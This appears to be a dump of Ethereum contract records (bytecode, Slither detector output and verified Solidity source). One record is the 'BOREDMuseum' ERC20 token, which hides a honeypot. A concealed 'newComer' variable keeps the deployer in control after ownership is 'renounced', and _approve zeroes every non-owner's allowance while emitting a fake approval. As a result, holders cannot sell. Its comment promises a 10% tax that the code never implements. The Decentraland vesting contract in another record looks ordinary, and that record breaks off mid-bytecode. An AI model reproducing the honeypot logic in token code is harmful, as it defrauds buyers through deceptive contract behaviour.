16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202418be1006fc48a82525e163dab6bc55211972da9f42c88d75b95e8767064ca964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 4,074 |
0x677d1a10c4e1b94b486a121f52c165e08dfad810
|
/**
*Submitted for verification at Etherscan.io on 2021-08-22
*/
/*
There is an 10% tax to help upkeep BORED. Token:
2% for Marketing (influencers, giveaways, ads)
2% for Reflection (earn more BORED for holding)
6% for Curating art (buying, trading, collecting NFTs voted on by the community)
Website - https://www.borednft.io/
Telegram - https://t.me/BOREDmuseum
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract BOREDMuseum is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = ' BORED Museum ';
string private _symbol = 'BORED';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ee7be3a529d55990b25f2df28f1402ef836411dbb87ad4590b2a327d3e9d271764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,075 |
0x5d6f5d3122b41d06202111d17f747382509d1fd1
|
pragma solidity ^0.4.13;
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract ReturnVestingRegistry is Ownable {
mapping (address => address) public returnAddress;
function record(address from, address to) onlyOwner public {
require(from != 0);
returnAddress[from] = to;
}
}
contract TerraformReserve is Ownable {
/* Storing a balance for each user */
mapping (address => uint256) public lockedBalance;
/* Store the total sum locked */
uint public totalLocked;
/* Reference to the token */
ERC20 public manaToken;
/* Contract that will assign the LAND and burn/return tokens */
address public landClaim;
/* Prevent the token from accepting deposits */
bool public acceptingDeposits;
event LockedBalance(address user, uint mana);
event LandClaimContractSet(address target);
event LandClaimExecuted(address user, uint value, bytes data);
event AcceptingDepositsChanged(bool _acceptingDeposits);
function TerraformReserve(address _token) {
require(_token != 0);
manaToken = ERC20(_token);
acceptingDeposits = true;
}
/**
* Lock MANA into the contract.
* This contract does not have another way to take the tokens out other than
* through the target contract.
*/
function lockMana(address _from, uint256 mana) public {
require(acceptingDeposits);
require(mana >= 1000 * 1e18);
require(manaToken.transferFrom(_from, this, mana));
lockedBalance[_from] += mana;
totalLocked += mana;
LockedBalance(_from, mana);
}
/**
* Allows the owner of the contract to pause acceptingDeposits
*/
function changeContractState(bool _acceptingDeposits) public onlyOwner {
acceptingDeposits = _acceptingDeposits;
AcceptingDepositsChanged(acceptingDeposits);
}
/**
* Set the contract that can move the staked MANA.
* Calls the `approve` function of the ERC20 token with the total amount.
*/
function setTargetContract(address target) public onlyOwner {
landClaim = target;
manaToken.approve(landClaim, totalLocked);
LandClaimContractSet(target);
}
/**
* Prevent payments to the contract
*/
function () public payable {
revert();
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
bool public revoked;
uint256 public released;
ERC20 public token;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
* @param _token address of the ERC20 token contract
*/
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _token
) {
require(_beneficiary != 0x0);
require(_cliff <= _duration);
beneficiary = _beneficiary;
start = _start;
cliff = _start.add(_cliff);
duration = _duration;
revocable = _revocable;
token = ERC20(_token);
}
/**
* @notice Only allow calls from the beneficiary of the vesting contract
*/
modifier onlyBeneficiary() {
require(msg.sender == beneficiary);
_;
}
/**
* @notice Allow the beneficiary to change its address
* @param target the address to transfer the right to
*/
function changeBeneficiary(address target) onlyBeneficiary public {
require(target != 0);
beneficiary = target;
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function release() onlyBeneficiary public {
require(now >= cliff);
_releaseTo(beneficiary);
}
/**
* @notice Transfers vested tokens to a target address.
* @param target the address to send the tokens to
*/
function releaseTo(address target) onlyBeneficiary public {
require(now >= cliff);
_releaseTo(target);
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function _releaseTo(address target) internal {
uint256 unreleased = releasableAmount();
released = released.add(unreleased);
token.safeTransfer(target, unreleased);
Released(released);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested are sent to the beneficiary.
*/
function revoke() onlyOwner public {
require(revocable);
require(!revoked);
// Release all vested tokens
_releaseTo(beneficiary);
// Send the remainder to the owner
token.safeTransfer(owner, token.balanceOf(this));
revoked = true;
Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
*/
function releasableAmount() public constant returns (uint256) {
return vestedAmount().sub(released);
}
/**
* @dev Calculates the amount that has already vested.
*/
function vestedAmount() public constant returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
/**
* @notice Allow withdrawing any token other than the relevant one
*/
function releaseForeignToken(ERC20 _token, uint256 amount) onlyOwner {
require(_token != token);
_token.transfer(owner, amount);
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630fb5a6b4146100f657806313d033c01461012157806338af3eed1461014c57806344b1231f146101a35780635b940081146101ce57806363d256ce146101f957806386d1a69f14610228578063872a78101461023f5780638da5cb5b1461026e57806396132521146102c5578063980c2f21146102f0578063b6549f751461033d578063be9a655514610354578063d1fb56461461037f578063dc070657146103c2578063f2fde38b14610405578063fc0c546a14610448575b600080fd5b34801561010257600080fd5b5061010b61049f565b6040518082815260200191505060405180910390f35b34801561012d57600080fd5b506101366104a5565b6040518082815260200191505060405180910390f35b34801561015857600080fd5b506101616104ab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101af57600080fd5b506101b86104d1565b6040518082815260200191505060405180910390f35b3480156101da57600080fd5b506101e361067b565b6040518082815260200191505060405180910390f35b34801561020557600080fd5b5061020e61069e565b604051808215151515815260200191505060405180910390f35b34801561023457600080fd5b5061023d6106b1565b005b34801561024b57600080fd5b5061025461074b565b604051808215151515815260200191505060405180910390f35b34801561027a57600080fd5b5061028361075e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102d157600080fd5b506102da610783565b6040518082815260200191505060405180910390f35b3480156102fc57600080fd5b5061033b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610789565b005b34801561034957600080fd5b50610352610945565b005b34801561036057600080fd5b50610369610bb0565b6040518082815260200191505060405180910390f35b34801561038b57600080fd5b506103c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb6565b005b3480156103ce57600080fd5b50610403600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2f565b005b34801561041157600080fd5b50610446600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cf5565b005b34801561045457600080fd5b5061045d610e4a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60045481565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561059357600080fd5b505af11580156105a7573d6000803e3d6000fd5b505050506040513d60208110156105bd57600080fd5b810190808051906020019092919050505091506105e560065483610e7090919063ffffffff16565b90506002544210156105fa5760009250610676565b610611600454600354610e7090919063ffffffff16565b4210158061062b5750600560019054906101000a900460ff165b1561063857809250610676565b61067360045461066561065660035442610e8e90919063ffffffff16565b84610ea790919063ffffffff16565b610eda90919063ffffffff16565b92505b505090565b600061069960065461068b6104d1565b610e8e90919063ffffffff16565b905090565b600560019054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070d57600080fd5b600254421015151561071e57600080fd5b610749600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ef5565b565b600560009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107e457600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffff